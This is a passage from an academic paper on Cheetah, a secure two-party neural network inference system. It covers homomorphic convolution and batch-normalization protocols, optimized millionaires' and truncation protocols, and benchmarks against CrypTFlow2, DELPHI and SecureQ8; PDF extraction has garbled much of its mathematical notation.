enough tensors” i.e., MCHW ≤ N.

Theorem 2 The protocol HomCONV in Figure 4 realizes
the ideal functionality FCONV of Figure 1b for F = Zp and
for inputs that MCHW ≤ N in presence of a semi-honest
admissible adversary.

We defer the correctness and security proofs to Appendix D.

3.2.1 On the Cases of Large Tensors

We need to partition large input tensors and kernels so that
each of the smaller blocks can be fit into one polynomial
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Figure 5: Partitioning the input tensor along the H-axis and W -
axis where N = 16,C = 1,H,W = 5,h = 2, and Hw,Ww = 4.
Digits represent the coefficient indices in an encoded polyno-
mial. The dashed parts are zero padding.

in AN,p. Particularly, we define the size of partition win-
dow for the (M,C,H,W )-axis as Mw,Cw,Hw and Ww, re-
spectively. The size of the partition windows can be cho-
sen freely as long as they satisfy the following constraints:
0 < Mw ≤ M, 0 < Cw ≤ C, h ≤ Hw ≤ H, h ≤ Ww ≤ W
and MwCwHwWw ≤ N. For instance, in our experiments,
to minimize the number of ciphertexts sent by Bob, we
choose the window sizes Hw and Ww that minimize the
product d C

bN/(HwWw)ce · d
H−h+1

Hw−h+1e · d
W−h+1
Ww+h−1e. When Hw and

Ww are specified, the partition window sizes along the C-
axis and M-axis is Cw = min(C,bN/(HwWw)c) and Mw =
min(M,bN/(CwHwWw)c), respectively.

By splitting the big tensor and kernel into smaller blocks
and zero-padding the margin blocks, we can apply (5) on the
corresponding pair of subtensor and subkernel. We demon-
strate why such partitions can work correctly. From the defi-
nition in (2), the convolution along the M-axis is independent
for each subkernel, and thus we can equally split the M-axis
into dM = d M

Mw
e groups and each of them contains Mw sub-

kernels. Similarly, the convolution along the C-axis requires
extra additions which are supported by HEs. Thus we can
safely partition along the C-axis without overlapping too.

When the kernel size h > 1, we need to take extra care for
the partition over the H-axis and W -axis. That is, we need
to make sure that the stride window is not split into two
adjacent partitions. Specifically, we partition along the H-axis
and W -axis into dH = d H−h+1

Hw−h+1e and dW = d W−h+1
Ww−h+1e blocks,

respectively. For the sub-block indexed by (α ∈ [[dH ]],β ∈
[[dW ]]), it contains exact Hw continuous rows that starts from
the α(Hw−h+1)-th row, and exact Ww continuous columns
that starts from the β(Ww−h+1)-th column of the big tensor
T. When h> 1, there are overlapping between adjacent blocks.
We give an example of this case in Figure 5.

Inputs and Outputs:〈
T′
〉A

,
〈
T′
〉B← HomBN

({
〈T〉A ,µ,θ

}
,
{
〈T〉B ,sk

})
s.t. 〈T〉A ,〈T〉B ∈ ZC×H×W

p , µ,θ ∈ ZC
p and T′ = BN(T;µ,θ).

Public Parameters: pp= (HE.pp,pk,C,H,W,Cw,Hw,Ww).

• The partition window sizes 0 < Cw ≤ C,0 < Hw ≤ H and
0 <Ww ≤W such that C2

wHwWw ≤ N.

• Let dC = dC/Cwe, dH = dH/Hwe and dW = dW/Wwe.

1: Bob partitions its share tensor into sub-blocks
〈
Tγ,α,β

〉B ∈
ZCw×Hw×Ww

p (with zero-padding if necessary).
2: Bob then encodes the sub-blocks as polynomials

〈
t̂γ,α,β

〉B
=

πi
bn(
〈
Tγ,α,β

〉B
) for γ ∈ [[dC]], α ∈ [[dH ]] and β ∈ [[dW ]]. Bob

then sends {CT′
γ,α,β = RLWE

N,q,p
pk (

〈
t̂γ,α,β

〉B
)} to Alice.

3: Alice partitions and encodes its input tensor and the scaling
vector as polynomials

〈
t̂γ,α,β

〉A
= πi

bn(
〈
Tγ,α,β

〉A
) and âγ =

πw
bn(µγ), respectively.

4: Alice samples R ∈ ZC×H×W
p uniformly at random.

5: On receiving the ciphertexts {CT′
γ,α,β} from Bob, Alice

operates CTγ,α,β = (CT′
γ,α,β �

〈
t̂γ,α,β

〉A
)� âγ for γ ∈ [[dC]],

α ∈ [[dH ]] and β ∈ [[dW ]].
6: [Extract and Re-mask.] For each c ∈ [[C]], i ∈ [[H]] and

j ∈ [[W ]], Alice first extracts a LWE ciphertext ctc,i, j =
Extract(CTc′,i′, j′ ,cCHW + cHW + iH + j), where c′ =
c mod dC, i′ = i mod H and j′ = j mod W . Then Bob re-
masks these ciphertexts via ct′c,i, j = ctc,i, j �R[c, i, j].

7: Alice sends the ciphertexts {ct′c,i, j} back to Bob, and Alice

ouputs 〈T′〉A as 〈T′〉A [c, i, j] = R[c, i, j]+θ[c] mod p.
8: On receiving the LWE ciphertexts from Alice, Bob ouputs
〈T′〉B as 〈T′〉B [c, i, j] = LWE

−1

sk(ct
′
c,i, j).

Figure 6: Proposed Secure Batch Normalization Protocol

3.2.2 HomCONV (Full Protocol)

The full version of HomCONV is given in Appendix C due
to the space limit but we state the complexity of HomCONV.
In HomCONV, Bob sends O(CHW/N) RLWE ciphertexts to
Alice which are about O(2CHW log2 q) bits. Alice operates
O(MCHW/N) homomorphic additions and multiplications.
Alice sends back O( M

Mw
H ′W ′) LWE ciphertexts to Bob for

decryption. The computation complexity of HomCONV is
independent with the kernel size h where the previous secure
convolution protocols [10, 34, 39] scale quadratically with h.

3.3 Batch Normalization

The batch normalization (3) can be evaluated using scalar-
polynomial multiplications by mapping each channel of the
tensor to polynomials. This idea will lead to a secure BN
protocol of a communication cost of O(CdHW/Ne) cipher-
texts. We can reduce this communication cost by “stacking”
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Parameters: Bit width ` > 0.
Computation: On input x ∈ Z2` from Alice and input y ∈ Z2`

from Bob, compute b = 1{x > y}. Sample a bit r from Z2 uni-
formly at random.
Return: r to Alice and b⊕ r to Bob.

(a) Ideal Functionality F `
Mill

Parameters: Bit width ` > 0 and fixed-point precision 0 < f < `.
Computation: On input 〈x〉A2` from Alice and input 〈x〉B` from
Bob, compute x′ = bx/2 f c. Sample a uniform value r from Z2` .
Return: r to Alice and x′− r ∈ Z2` to Bob.

(b) Ideal Functionality F `, f
trunc

Figure 7: Ideal Functionalities of Non-linear Functions

multiple channels of the tensor into a single polynomial. For
example, when C2HW ≤ N, we can even put all the chan-
nels into one polynomial. We now give the definitions of
πi

bn : ZC×H×W
p 7→ AN,p and πw

bn : ZC
p 7→ AN,p. Here we de-

mand C2HW ≤ N for simplicity.

t̂ = π
i
bn(T) s.t. t̂[cCHW + iH + j] = T[c, i, j]

â = π
w
bn(α) s.t. â[cHW ] = α[c]

where c ∈ [[C]], i ∈ [[H]] and j ∈ [[W ]]. All other coefficients
of t̂ and â are set to zero. The polynomial product t̂ ′ = t̂ · â
gives the multiplication part of (3) in some of coefficients of
t̂ ′. That is t̂ ′[cCHW + cHW + iH + j] equals to T[c, i, j]α[c]
for all (c, i, j) position. When C2HW > N, we can first par-
tition T into sub-blocks in a shape of Cw×Hw×Ww such
that C2

wHwWw ≤ N. Since each channel is proceed indepen-
dently in the BN computation, we can just apply the mapping
functions πi

bn,π
w
bn to the sub-blocks of T.

Theorem 3 The protocol HomBN in Figure 6 realizes the
ideal functionality FBN of Figure 1c for the field F = Zp in
presence of a semi-honest admissible adversary.

We defer the proof to Appendix D due to the space limit. For
the complexity, Bob encrypts and sends O(CHW/N) RLWE
ciphertexts to Alice. Alice operates with O(CHW/N) ho-
momorphic operations. Finally, Alice sends O(CHW ) LWE
ciphertexts to Bob for decryption.

4 Optimized 2PC Protocols of Non-Linear
Functions

For non-linear computation, [46] presents various protocols
that are tailored to be highly efficient on IKNP-style OT ex-
tension. In this section, we show that their protocols can be
simplified and optimized on VOLE-style OT extension.

Throughout this section, we make use of
(2

1

)
-OT`,

(2
1

)
-COT`

and
(n

1

)
-OT`. We instantiate

(n
1

)
-OT` with the algorithm pro-

posed by Naor and Pinkas [44] by using log2 n calls to

Table 2: Communication complexity of various OT protocols
used in CrypTFlow2 and Cheetah. Cheetah uses VOLE-style
OT for the underlying calls to

(2
1

)
-ROTλ.

Function
Communication (bits)

CrypTFlow2 Cheetah(2
1
)
-OT` λ+2` 2`+1(2

1
)
-COT` λ+ ` `+1(n

1
)
-OT` (n≥ 3) 2λ+n` n`+ log2 n

Table 3: Communication complexity of millionaires’ proto-
cols of `-bit integers.

Millionaires’ Protocol Communication (bits)

CrypTFlow2 (m = 4, IKNP,
(n

1
)
-OT) < λ`+14`

Naive (m = 1, VOLE,
(2

1
)
-ROT) < 16`

Cheetah (m = 4, VOLE,
(2

1
)
-ROT) < 11`

(2
1

)
-ROTλ, whereas CrypTFlow2 implements it with the IKNP-

style OT extension proposed in [35]. Due to the usage of
VOLE-style OT, our calls to

(2
1

)
-ROTλ enjoys almost 0 amor-

tized communication cost. We provide a brief comparison
of these two approaches in Table 2. When n and the mes-
sage length ` are small, our approach demonstrates prominent
advantage, which is indeed the case in all protocols used in
neural network inference (usually, n≤ 16, `≤ 2).

4.1 Leaner and Better Millionaires’ Protocol
Millionaires’ protocol for comparing two integers (x,y ∈
{0,1}`) is the core building block of almost every non-linear
layer, such as ReLU, truncation, and pooling. Let FAND denote
the functionality that accepts boolean shares of x and y and re-
turns boolean shares of x∧y (protocol details in Appendix E).
We briefly recall the high-level intuition of the millionaires’
protocol in [46]:

1. Each party parses its own `-bit input as smaller blocks of
m bits. Let x j and y j denote the j-th block of P0 and P1,
respectively. Two parties invoke

(2m

1

)
-OT1 to compute a

boolean share of ltj = 1{x j < y j} (similar invocation
for eq j = 1{x j = y j}).

2. Two parties use FAND to combine the former outputs in a
tree evaluation (of depth log(`/m)) with the observation:
1{x < y} = 1{x1 < y1} ⊕ (1{x1 = y1} ∧ 1{x0 < y0}),
where x = x1||x0 and y = y1||y0.

In stage 2, [46] presents various optimizations to realize FAND
efficiently in the context of IKNP-style OT extension, such as
using

(16
1

)
-OT2 to generate two beaver triples and

(8
1

)
-OT2 to
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Inputs and Outputs: 〈z〉A2` ,〈z〉
B
2` ← Trunc(〈x〉A2` ,〈x〉

B
2` , f ) such

that x ∈ Z2` , and z = x� f or z = (x� f )−1.
1: Alice and Bob call the millionaires’ protocol:

(〈w〉A2 ,〈w〉
B
2 ) =Mill`(〈x〉A ,2`−1−〈x〉B).

2: Alice and Bob invoke an instance of F 2 f

B2A with inputs
(〈w〉A2 ,〈w〉

B
2 ) and learn (〈w〉A2 f ,〈w〉B2 f ).

3: Alice computes 〈z〉A = (〈x〉A� f )−〈w〉A2 f ·2`− f . Bob com-
putes 〈z〉B = (〈x〉B� f )−〈w〉B2 f ·2`− f .

Figure 8: Proposed One-Bit Approximate Truncation Protocol
in the F 2 f

B2A-hybrid model.

generate correlated triples. However, in Cheetah, these are less
efficient than using

(2
1

)
-ROT1 to generate the beaver triples [3].

Nevertheless, their insight in stage 1 to start working with
m-bit blocks remains important to greatly reduce the number
of AND gates compared to a naive approach of using an eval-
uation tree of depth log`. We compare the communication
complexity of the three approaches in Table 3. We reuse the
millionaires’ protocol flow from CrypTFlow2, but replace the
underlying FAND implementation with our aforementioned so-
lution. Let (〈m〉A2 ,〈m〉

B
2 ) =Mill`(x,y) denote the millionaires’

protocol where Alice’s input is x, Bob’s input is y, and they
receive boolean shares as output: 〈m〉A2 ⊕〈m〉

B
2 = 1{x > y}.

4.2 Approximate Truncation

In fixed-point computation, truncation is a necessary proce-
dure to maintain the precision after multiplication. CrypT-
Flow2 proposes faithful truncation that realizes the function-
ality F `, f

Trunc (Figure 7b). We observe that large overhead in
the protocol can be removed in neural network inference.

4.2.1 One-Bit Approximate Truncation

In prior works [41–43], local truncation is used to approximate
F `, f

Trunc, which leads to both a large error with small probability
and a last-bit small error with 1/2 probability. CrypTFlow2
corrects both these errors, resulting in a heavy faithful trunca-
tion protocol. Indeed, the large error destroys the result, and
in practice, the probability is actually non-negligible when
`≤ 64, which is the case in this work. Nonetheless, as shown
by [15], the last-bit small error does not affect the quality
of prediction models in machine learning which we also ex-
perimentally verify in a concrete neural network (see § 6.4).
We observe that by removing the constraint of correcting the
last-bit error, the truncation protocol can be made far more
lightweight, providing significant improvement in communi-
cation and computation.

Proposition 3 Given an unsigned `-bit integer x and its arith-
metic shares x0 and x1, define w = 1{x0 + x1 > 2`−1}. Let

Inputs and Outputs: 〈z〉A2` ,〈z〉
B
2` ← Truncmsb

(
〈x〉A2` ,〈x〉

B
2` , f

)
such that x ∈ Z2` , msb(x) = 0, and z = x� f or z = (x� f )−1.

1: Alice samples 〈w〉A2 ←R {0,1}.
2: If msb(〈x〉A) = 0, Alice sets (s0,s1) = (〈w〉A2 ,1⊕〈w〉

A
2 ); oth-

erwise, Alice sets (s0,s1) = (1⊕〈w〉A2 ,1⊕〈w〉
A
2 ).

3: Alice and Bob invoke
(2

1
)
-OT1, where Alice inputs messages

(s0,s1) and Bob inputs a choice msb(〈x〉B). Bob learns 〈w〉B2
as its output.

4: Alice and Bob invoke an instance of F 2 f

B2A with inputs
(〈w〉A2 ,〈w〉

B
2 ) and learn (〈w〉A2 f ,〈w〉B2 f ).

5: Alice computes 〈z〉A = (〈x〉A� f )−〈w〉A2 f ·2`− f . Bob com-
putes 〈z〉B = (〈x〉B� f )−〈w〉B2 f ·2`− f .

Figure 9: Proposed Truncation Protocol with Input MSB=0
in the F 2 f

B2A-hybrid model.

c be one-bit integer 0 or 1. We have: (x0 � f ) + (x1 �
f )−w ·2` = (x� f )− c.

Proof 2 The proposition follows from Corollary 4.2 in [46].
First, w denotes whether the sum of two shares wrap around
2`. If so, there will be large error for local truncation and
it should be corrected by subtracting 2`. c comes from a
probabilistic last-bit error that is decided by whether the sum
of least significant s bits of x0 and x1 wraps around 2 f . �

Let F 2 f

B2A denote the functionality that accepts boolean shares
of x ∈ {0,1} and returns arithmetic shares of x in Z2 f . We
provide an implementation of F 2 f

B2A in Appendix E. The one-
bit approximate truncation protocol is provided in Figure 8.

4.2.2 Approximate Truncation with Known MSB

As pointed out by [45], 2PC protocols could be designed in
a far more efficient way when the MSB of the inputs are
known. In these cases, truncation can be further optimized
to be a cheap operation. We consider the case of our one-bit
approximate truncation when MSB is zero (e.g., after ReLU),
and give the corresponding protocol details in Figure 9. When
MSB is known, computing boolean shares of the wrap-around
bit w can be accomplished with a single call to

(2
1

)
-OT1 instead

of the expensive Mill protocol. Indeed, when MSB is zero,
w = msb(〈x〉A)∨msb(〈x〉B). A similar protocol can also be
derived when MSB is one and w = msb(〈x〉A)∧msb(〈x〉B).

4.2.3 Communication Complexity

We provide a comparison of communication complexity
among the discussed truncation protocols in Table 4. CrypT-
Flow2’s faithful truncation involves a single call to F `−1

Mill ,(4
1

)
-OT`, F 2`

B2A, and F f
Mill. This leads to a communication up-

per bound of λ(`+ f +2)+19`+14 f bits when sub-block
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Table 4: Communication complexity of truncation protocols
of `-bit integers truncated by f bits.

Truncation Protocol Communication (bits)

Faithful [46] λ(`+ f +2)+19`+14 f

Faithful (VOLE) 16`+11 f

One-bit approx. (VOLE) 13`

One-bit approx. (VOLE, MSB) f +4

length m = 4 in the millionaires’ protocol. A direct replace-
ment of OT with the VOLE version gives us an upper bound
of 16`+ 11 f bits, according to our complexity analysis in
Table 2 and 3 (F 2`

B2A uses a single call of
(2

1

)
-COT`). One-

bit approximate truncation involves a call to F `
Mill and F 2 f

B2A,
which gives a communication of 13` bits. When MSB is
known, the cost is reduced to f +4 bits.

5 Further Optimizations

We present some optimizations that have not been considered
in the previous inference systems [6, 34, 41, 46]. Some of our
optimizations can also be applied to these systems.

5.1 Reducing Computation Overhead
The BN layer can be placed right after a CONV or FC layer.
For instance, 58 out of the 121 BN layers in DenseNet121
are placed right after a CONV layer. We observe that we can
apply the BN fusion technique to save the computation of
HomBN since the weights of the BN layer and the CONV
layer are already known by Alice. Specifically, for each BN-
then-CONV structure in the DNN, Alice first multiplies the
weights of the BN layer (i.e., µ) to the kernel K of the CONV
layer. Then Alice and Bob jointly invoke the HomCONV
protocol on the scaled kernel. After HomCONV, Alice adds
the shift vector θ to her additive share. Interestingly, by using
BN fusion, we also save the computation of truncation since
we have saved one depth of fixed-point multiplication.

5.2 Reducing Communication Overhead
We present two orthogonal optimizations for reducing the
volume of ciphertexts sent by Alice in our protocols.

In the proposed linear protocols, Alice sends many LWE
ciphertexts back to Bob for decryption. Indeed, some of the
LWE ciphertexts will share the same vector a in their second
component if they are extracted from the same RLWE cipher-
text. To reduce the communication overhead, Alice can only
send one copy of this vector to Bob.

Our second optimization comes from an insightful ob-
servation to the (R)LWE decryption formula. Suppose Al-

ice needs to send an LWE ciphertext (b,a) ∈ ZN+1
q to Bob

for decryption. Our optimization suggests Alice send just
some of the high-end bits of b and the values in a to Bob
and skip the remaining low-end parts. In brief, Alice can
skip the low `b = blog2(q/p)c − 1 bits of b and the low
`a = blog2(q/(6.6

√
N p))c bits of the values in a when trans-

ferring the ciphertext to Bob. Bob might fail to decrypt the
“deform” ciphertext at a negligible chance (i.e., < 2−38). In-
deed, this optimization saves about 16% – 25% of the commu-
nication sent by Alice in our HE-based protocols. We defer the
calculation of `b and `a to the full version of this manuscript.

6 Evaluations

6.1 Experiment Setup

Our implementation is built on top of the SEAL library [49]
with the HEXL acceleration [30] and the EMP toolkit [55].
We also extend the Ferret2 protocol in EMP to support var-
ious application-level OT types, such as

(n
1

)
-OT`. To com-

pare, we use the open-source library SCIHE that provided
by the authors of CrypTFlow2. Besides the OT-based non-
linear protocols in CrypTFlow2, SCIHE also offers many op-
timized implementation of state-of-the-arts including the se-
cure convolution [34, 41], and the matrix–vector multiplica-
tion from [12, 25] using an old version of SEAL. For a fair
comparison, we modify the code in SCIHE to adopt the lat-
est version of SEAL and to apply HEXL acceleration. Both
Cheetah and SCIHE are implemented in C++ and compiled
by gcc (version 8.4.0) on Ubuntu 18.04.
Testbed Environment. All the following experiments were
performed on Alibaba Cloud with a 2.70 GHz processor and
16 gigabytes of RAM. We ran our benchmarks in two net-
work settings. The bandwidth between the cloud instances
were about 384 MBps (LAN) and 44 MBps (WAN), respec-
tively. The round-trip time were about 0.3ms (LAN) and 40ms
(WAN), respectively.
Concrete SEAL’s Parameters. We instantiate our protocols
using the SEAL parameters HE.ppCheetah = {N = 4096,q≈
2105, p = 237,σ = 3.2}. Recall that the current secure convo-
lution protocol in SCIHE [48] demands HW/s2 ≤ N/2. For
most of the time, it can be instantiated using the SEAL pa-
rameters HE.ppSCI = {N = 8192,q≈ 2180, p≈ 237,σ = 3.2}.
On the other hand, to handle the convolution on large tensors
we have to instantiate SCIHE using a larger lattice dimension
e.g., N = 32768 in their implementation. The security levels
under these parameters are not aligned but all of them can
provide at least λ = 128 bits of security according to SEAL.
DNN Architectures. We measure the performance of Chee-
tah on 6 DNNs (Table 9). For instance, the ResNet50 is trained
to classify RGB images of 224×224 pixels into 1001 classes.
The ResNet50 has over 23 million trainable parameters. It

2Our protocol can use any VOLE-style OT extension such as [9, 14, 56].
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Table 5: Comparing the running time and communication
costs of our linear protocols with the state-of-the-arts. All
runs were executed using single thread. 1MB = 220 bytes.

FC ni,no
End2End Time

Commu.
LAN WAN

[46, 48]
2048,1001 1,533ms 1,587ms 0.50MB

512,10 17ms 60ms 0.50MB

Ours
2048,1001 111ms 171ms 1.83MB

512,10 4ms 51ms 0.11MB

CONV HW,C,M,h,s
End2End Time

Commu.
LAN WAN

[46, 48]

2242,3,64,7,2 25.52s 27.28s 76.02MB
2242,3,64,3,2 7.06s 8.78s 76.02MB

562,64,256,1,1 8.21s 8.74s 28.01MB
562,256,64,1,1 7.41s 8.51s 52.02MB

Ours

2242,3,64,7,2 1.30s 2.11s 49.62MB
2242,3,64,3,2 1.33s 2.16s 49.62MB

562,64,256,1,1 0.83s 1.10s 15.30MB
562,256,64,1,1 0.70s 0.99s 17.07MB

BN HW,C
End2End Time

Commu.
LAN WAN

[46, 48]
562,64 0.28s 0.50s 12.51MB

562,256 1.14s 2.17s 49.01MB

Ours
562,64 0.22s 0.34s 6.84MB

562,256 0.88s 1.36s 27.34MB

consists of 53 CONV layers, 49 BN layers and 1 FC layer. For
the non-linear operations, ResNet50 consists of 49 ReLU, 98
truncation, 1 max-pooling, 1 average-pooling and 1 argmax.
Metrics. We measure the total communication including all
the messages sent by Alice and Bob but excluding the one-
time setup (e.g., keys generation and base-OT). We measure
the end-to-end running time including the time of transferring
messages through the LAN/WAN but we rule out the time for
HE key generation and base-OT.

6.2 Microbenchmarks
6.2.1 Linear Functions

We compare the performance of the proposed linear protocols
with the counterparts implemented in SCIHE in Table 5. The
key takeaway is that our computation time is about 1.3× –
20× faster than SCIHE’s, and our communication cost is about
1.5× – 2× lower3, depending on the input size.

Moreover, our linear protocols can accept additive shares
from the ring Z2` that is more friendly for subsequent non-
linear layers, while prior approaches [25,34,41,46] that lever-

3The only exception is the FC layer, where our communication cost may
be 1.33MB higher than theirs.

Table 6: Comparing the running time and communication
costs of our non-linear protocols with the state-of-the-art. All
runs were executed using single thread. The communication
and timing are accumulated for 216 runs of the protocols.

Benchmark Method
End2End Time

Commu.
LAN WAN

Millionaire
[46] 572ms 1,680ms 31.56MB
Ours 496ms 663ms 2.72MB

1.1× 2.5× 11.6×

Truncation
[46] 544ms 1,914ms 34.57MB
Ours 432ms 655ms 2.86MB

1.2× 2.9× 12.0×

Trunc. with
known MSB

[45, 46] 213ms 716ms 14.09MB
Ours 31ms 101ms 0.16MB

6.8× 7.1× 88.0×

age the homomorphic rotation could only accept shares from
a prime filed Zp. To accept shares from Z2` , they need to
apply the Chinese Remainder Theorem to expand the plain-
text modulus to above (2`+ 1+ 40) bits for achieving 40-
bit statistical security [18]. The downside is that it will in-
crease the computation and communication costs by a factor
of O((2`+1+40)/`) which is about 4 for our parameters.

6.2.2 Non-linear Functions

We also benchmark the non-linear functions in Table 6, by
running SCIHE and Cheetah with a single thread under the
LAN and WAN settings. The performance accounts for 216

calls to the protocols, which resembles a scenario of batch
execution in neural network inference. From the table, we
observe that our solution significantly reduces the communi-
cation cost, i.e., by more than 10× in all non-linear protocols.
The improvements come from both the VOLE-style OT up-
grades, and our more concise protocol designs.

6.3 Comparison with DELPHI
In Table 7, we compare Cheetah with DELPHI [41], one of
the state-of-the-art 2PC-NN systems. Similar to DELPHI,
we perform these computations on the CIFAR dataset [36]
with a larger bit-width of ` = 41 in the WAN setting using
4 threads. Note that Cheetah’s HE-based protocols are also
compatible with the online/offline optimizations [4] used by
DELPHI. Thus, in Table 7, we present the sum of the offline
and online costs of DELPHI reported in their paper (updated
version). Here, Cheetah is about 1 order of magnitude faster
than DELPHI and about 2 orders of magnitude efficient than
DELPHI in terms of communication. Cheetah can give the
same output as DELPHI since both frameworks will introduce
1-bit error in each truncation if we assume the harsh truncation
error in DELPHI does not occur on shallow NNs.
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Table 7: Performance comparison with DELPHI [41, Figure
13] in the LAN setting. Inputs to the benchmarks were RGB
images of 32×32 pixels. Aligned parameters of sharing mod-
ulo to Z241 and fixed-point precision to f = 11 with DELPHI
were used for Cheetah in this benchmark.

Benchmark System End2End Time Commu.

MiniONN
DELPHI [41] ≈ 110s ≈ 3.6GB

Cheetah 3.55s 0.03GB
≈ 30× ≈ 117×

ResNet32
DELPHI [41] ≈ 200s ≈ 6.5GB

Cheetah 15.95s 0.11GB
≈ 12× ≈ 58×

1GB = 230 bytes.

0 1 2 3 4 5 6 7 8 9

1.34

1.36

1.38

1.40

1.42

1.44

1.46

1.48

1.50

×101

SCI-HE

Cheetah

0 1 2 3 4 5 6 7 8 9

1.6

1.8

2.0

2.2

2.4

2.6

×101

SCI-HE

Cheetah

Figure 10: The top-10 values in the prediction vector of 1001
values from SqueezeNet (left) and ResNet50 (right).

6.4 Comparison with CrypTFlow2

With all our protocols and optimizations in place, we demon-
strate the performance of Cheetah by running cryptographic
inferences on large DNNs efficiently. Table 8 shows that
Cheetah is efficient enough to evaluate SqueezeNet [29],
ResNet50 [26], and DenseNet121 [28] within 3 minutes even
under the WAN setting. The end-to-end running time of
Cheetah was about 2× – 5× faster than SCIHE within 8%
bandwidth consumption of SCIHE. To the best of our knowl-
edge, no prior secure two-party inference system can evaluate
ResNet50 and DenseNet121 within 10 minutes under the
commodity hardware and network conditions as ours.
Compare with a Three-party Approach. In Table 8, we
also provide the performance of SecureQ8 [15], one of the
most efficient three-party secure inference framework. These
results are obtained by re-running their implementation [50]
under ours environment. As is shown, SecureQ8 was 3× - 4×
faster than Cheetah on LAN, while Cheetah was 2× - 3×
faster on WAN by the virtue of less communication 4 .

6.5 Effective Approximate Truncation

To demonstrate the effectiveness of our approximate trunca-
tion protocols, we performed more predictions on SqueezeNet

4Note that the implementation [50] uses fixed ring sizes i.e., `∈{64,128}.

Table 8: Performance comparison with SCIHE and SecureQ8
(three-party) on large-scale DNNs. We used the precision f =
12 for fixed-point values and 4 threads for the benchmarks.

Benchmark System
End2End Time

Commu.
LAN WAN

SqNet
SCIHE [46] 41.1s 147.2s 5.9GB

SecureQ8 [15] 4.4s 134.1s 0.8GB
Cheetah 16.0s 39.1s 0.5GB

RN50
SCIHE [46] 295.7s 759.1s 29.2GB

SecureQ8 [15] 32.6s 379.2s 3.8GB
Cheetah 80.3s 134.7s 2.3GB

DNet
SCIHE [46] 296.2s 929.0s 35.4GB

SecureQ8 [15] 22.5s 342.6s 4.6GB
Cheetah 79.3s 177.7s 2.4GB

SqNet = SqueezeNet; RN50 = ResNet50; DNet = DenseNet121

using an image set that includes about 1,000 images from Im-
ageNet. For all these images, Cheetah outputs the same clas-
sification label as SCIHE. Let’s zoom in a bit. In Figure 10,
we present the top-10 values in the prediction vectors (i.e.,
the input to the final ArgMax layer) computed by SCIHE and
Cheetah on ResNet50 and SqueezeNet. Here we can see that
Cheetah gives almost the same prediction vectors as SCIHE
which are bit-wise equivalent to the plaintext fixed-point com-
putation. Also, according to the extensive experiments in
CrypTFlow2 [46, Table 10], the prediction accuracy achieved
by fixed-point computation can match the accuracy of the
floating-point counterpart. We conclude that our approximate
truncation protocols are effective for the 2PC-NN setting.

Conclusion

Secure two-party deep neural network inference is getting
closer to practicality. Cheetah presents a highly optimized
architecture that runs the complex ResNet50 model in less
than 2.5 minutes even under the WAN setting, consuming
2.3 GB of communication. The evidential improvement over
stage-of-the-art comes from a set of novel cryptographic pro-
tocols that are built upon a more profound exploration of the
problem-setting. Cheetah also provide better alternatives to
a wide spectrum of functional evaluation problems in secure
two-party computation. One of our furture work is to apply
orthogonal optimizations commonly adopted in DNN such as
quantization and hardware acceleration. We believe the day
is not that far off when some applications such as privacy-
preserving medical diagnosis could be done in seconds.
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A Threat Model and Security

We provide security against a static semi-honest probabilis-
tic polynomial time adversary A following the simulation
paradigm [11, 22, 38]. That is, a computationally bounded
adversary A corrupts either Alice (Server) or Bob (Client) at
the beginning of the protocol ΠF and follows the protocol
specification honestly. Security is modeled by defining two
interactions: a real interaction where Alice and Bob execute
the protocol ΠF in the presence of A and the environment E
and an ideal interaction where the parties send their inputs
to a trusted party that computes the functionality F faithfully.
Security requires that for every adversary A in the real inter-
action, there is an adversary Sim (called the simulator) in the
ideal interaction, such that no environment E can distinguish
between real and ideal interactions.

We recap the definition of a cryptographic inference proto-
col in DELPHI [41]. The server holds a model W consisting
of d layers W1, · · · ,Wd . The client holds an input vector x.

Definition 1 A protocol Π between a server having as input
model parameters W = (W1, . . . ,Wd) and a client having as
input a feature vector x is a cryptographic inference protocol
if it satisfies the following guarantees.

• Correctness. On every set of model parameters W that
the server holds and every input vector x of the client,
the output of the client at the end of the protocol is the
correct prediction W (x).

• Privacy. We require that a corrupted, semi-honest client
does not learn anything about the server’s network
parameters W . Formally, we require the existence
of an efficient simulator SimC such that ViewΠ

C ≈c
SimC(meta,out) where ViewΠ

C is the view of the client in
the execution of Π, meta includes the meta information
(i.e., the public parameters HE.pp, the public key pk, the
number of layers, the size and type of each layer, and the
activation) and out denotes the output of the inference.

We also require that a corrupted, semi-honest server
does not learn anything about the private input x of the
client. Formally, we require the existence of an efficient
simulator SimS such that ViewΠ

S ≈c SimS(meta) where
ViewΠ

S is the view of the server in the execution of Π.

B SIMD and Homomorphic Rotation

The SIMD technique [52] uses a discrete fourier transform
over the prime field Zp to convert vectors v,u ∈ ZN

p of N ele-
ments to ring elements v̂ ∈ AN,p and û ∈ AN,p, respectively.
The product polynomial v̂ · û∈AN,p decodes to the Hadamard
product between the vectors v and u. In the context of encryp-
tion, the SIMD technique can amortize the cost of homomor-
phic multiplication by a factor of 1/N. However, once the
SIMD-encoded vector is encrypted, it is not straightforward
to manipulate the positions of the encoded values. For exam-
ple, to homomorphically right-hand-side rotate the encrypted
vector by k ∈ [1,N) unit, one needs to multiply the cipher-
text with a rotation key given as RLWE

N,q,p
sk (ρ5k mod 2N(sk))

where the automorphism ρg : AN,p 7→ AN,p is defined by
ρg(â(X)) = â(Xg) mod XN +1.

C Full Version of HomCONV

We now present the full version of HomCONV in Figure 11.
In Step 1 and Step 2 of Figure 11, Bob first partitions its share
of tensor (with zero-padding) into smaller blocks of the same
shape Cw×Ww×Hw along the three dimensions. Bob then
sends to Alice dCdHdW RLWE ciphertexts that each of them
encrypts one partition block of 〈T〉B in Step 3. In the next
two steps, Alice first partitions its share 〈T〉A following the
same partitioning manner in Step 1 and Step 2. After that Al-
ice partitions the kernel K into dMdC non-overlapping blocks
Then Alice can encode each of them using πw

conv with an iden-
tical parameter Ow that is because the tensor T is partitioned
into blocks of the same shape Cw×Hw×Ww. On receiving
the RLWE ciphertexts from Bob, Alice then computes the
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Inputs and Outputs 〈T′〉A ,〈T′〉B← HomCONV
(
{〈T〉A ,K},{〈T〉B ,sk}

)
such that 〈T〉A ,〈T〉B ∈ ZC×H×W

p , K ∈ ZM×C×h×h
p

and T′ = Conv2D(T,K;s) ∈ ZM×H ′×W ′
p .

Public Parameters: pp= (HE.pp,pk,M,C,H,W,h,s).

• Shape meta M,C,H,W,h such that h2 ≤ N and stride s > 0. The optimal sizes of the partition winodws that minimize
argminHw,Ww

d C
bN/(HwWw)ced

H−h+1
Hw−h+1ed

W−h+1
Ww+h−1e such that h≤ Hw ≤ H, h≤Ww ≤W and HwWw ≤ N.

• The partition window size along the C-axis and M-axis is Cw = min(C,b N
HwWw

c) and Mw = min(M,b N
CwHwWw

c).

• Set dM = d M
